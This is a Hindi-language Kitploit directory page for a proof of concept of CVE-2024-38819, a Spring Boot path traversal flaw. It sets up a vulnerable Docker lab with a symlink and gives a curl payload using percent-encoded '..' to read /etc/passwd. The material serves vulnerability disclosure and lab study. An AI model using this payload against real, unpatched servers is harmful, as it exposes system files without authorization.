Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-38819-POC — स्प्रिंग बूट 3.3.4 में सिम्बोलिक लिंक और प्रतिशत-एन्कोडेड डायरेक्टरी ट्रैवर्सल के माध्यम से पाथ ट्रैवर्सल शोषण का प्रदर्शन करने वाला प्रूफ ऑफ कॉन्सेप्ट, सुरक्षा अनुसंधान और शिक्षा के लिए। | Kitploit
उपकरण/GitHubGitHub/masa42/cve-2024-38819-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubmasa42/cve-2024-38819-poc

CVE-2024-38819-POC

स्प्रिंग बूट 3.3.4 में सिम्बोलिक लिंक और प्रतिशत-एन्कोडेड डायरेक्टरी ट्रैवर्सल के माध्यम से पाथ ट्रैवर्सल शोषण का प्रदर्शन करने वाला प्रूफ ऑफ कॉन्सेप्ट, सुरक्षा अनुसंधान और शिक्षा के लिए।

रिपॉजिटरी देखें
391511 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-38819: प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह CVE-2024-38819 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जिसे मैंने रिपोर्ट किया, जो पाथ ट्रैवर्सल शोषण प्रदर्शित करता है।

निष्पादन चरण

  1. डॉकर इमेज बनाएं (Spring Boot 3.3.4, Spring Framework 6.1.13 पर आधारित)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38819-poc .
    
  2. कंटेनर चलाएं और पोर्ट 8080 को होस्ट मशीन पर उजागर करें

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
    
  3. PoC निष्पादित करने और भेद्यता की पुष्टि करने के लिए निम्नलिखित कमांड चलाएं

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित हो जाएगी।

स्पष्टीकरण

  1. PathTraversalDemoApplication.java बनाएं और निम्नलिखित कोड के साथ और का उपयोग करके स्टैटिक फ़ाइल रूटिंग सेट करें:

RouterFunction
FileSystemResource
root@kitploit:~
public RouterFunction<ServerResponse> staticResourceRouter() {
    return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
  • सिम्बोलिक लिंक बनाने के लिए Dockerfile में निम्नलिखित कमांड जोड़ें:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  • एक पेलोड बनाएं जो सिम्बोलिक लिंक के माध्यम से निर्देशिकाओं को ट्रैवर्स करने के लिए प्रतिशत-एन्कोडिंग का उपयोग करता है।

    • पथ: /static/link/%2e%2e/etc/passwd
  • PoC निष्पादित करने और यह सत्यापित करने के लिए निम्नलिखित curl कमांड का उपयोग करें कि हमला सफल है या नहीं:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित हो जाएगी।

  • अस्वीकरण

    यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसे वास्तविक प्रणाली में उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता ठीक कर दी गई है और आपके पास उचित प्राधिकरण है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।

    टूल डाउनलोड करें